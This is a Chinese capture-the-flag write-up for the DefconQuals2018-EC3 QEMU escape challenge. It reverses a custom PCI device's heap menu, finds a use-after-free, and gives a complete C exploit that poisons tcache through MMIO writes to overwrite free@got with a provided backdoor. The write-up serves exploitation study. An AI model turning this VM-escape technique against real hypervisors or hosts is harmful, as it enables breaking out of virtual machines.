[qemu逃逸] DefconQuals2018-EC3

前言

一道简单的套壳堆题.原本题目环境为 ubu16, 我这里使用的是 ubu18

设备逆向

qemu-system-x86_64 只开了 Canary 和 NX 保护.

比较简单, 主要逻辑在 mmio_write 里面, 其实现了一个菜单堆, 具有增删改的功能:

[qemu逃逸] DefconQuals2018-EC3_第1张图片

但是在释放堆块时并没有置空, 所以这里存在 UAF. 而程序还直接给了后门:

[qemu逃逸] DefconQuals2018-EC3_第2张图片

漏洞利用

笔者的环境是 ubu18, glibc为2.27, 存在 tcache 并且没有相关检查. 所以利用比较简单. 直接打 free@got 为后门函数地址即可.

exp 如下: 注意这里每次写入是 4 字节, 如果写 8 字节会分两次写入

#include 
#include 
#include 
#include 
#include 
#include 

#define ADD     0
#define DELE    1
#define EDIT    2

void* mmio_base;
void mmio_init()
{
        int fd = open("sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR);
        if (fd < 0) puts("[X] open device file"), exit(EXIT_FAILURE);
        mmio_base = mmap(0, 0x1000000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
        if (mmio_base < 0) puts("[X] mmap for mmio"), exit(EXIT_FAILURE);
        printf("[+] mmio_base: %#p\n", mmio_base);
        if (mlock(mmio_base, 0x1000000) < 0) puts("[X] mlock for mmio_base"), exit(EXIT_FAILURE);
}

void mmio_write(uint64_t cmd, uint64_t idx, uint64_t offset, uint32_t val)
{
        uint64_t addr = (cmd << 20) | (idx << 16) | offset;
        *(uint32_t*)(mmio_base + addr) = val;
}

int main(int argc, char** argv, char** envp)
{
        mmio_init();
        mmio_write(ADD,  10, 0, 1);
        mmio_write(ADD,  0,  0, 82);
        mmio_write(DELE, 0,  0, 0);
        mmio_write(EDIT, 0,  0, 0x11301A0);
        mmio_write(EDIT, 0,  4, 0);
        mmio_write(ADD,  1,  0, 82);
        mmio_write(ADD,  2,  0, 82);
        mmio_write(EDIT, 2,  0, 0x6E65F9);
        mmio_write(EDIT, 2,  4, 0);
        mmio_write(DELE, 10, 0, 0);
        return 0;
}

效果如下:

[qemu逃逸] DefconQuals2018-EC3_第3张图片

你可能感兴趣的:(虚拟机逃逸,qemu逃逸)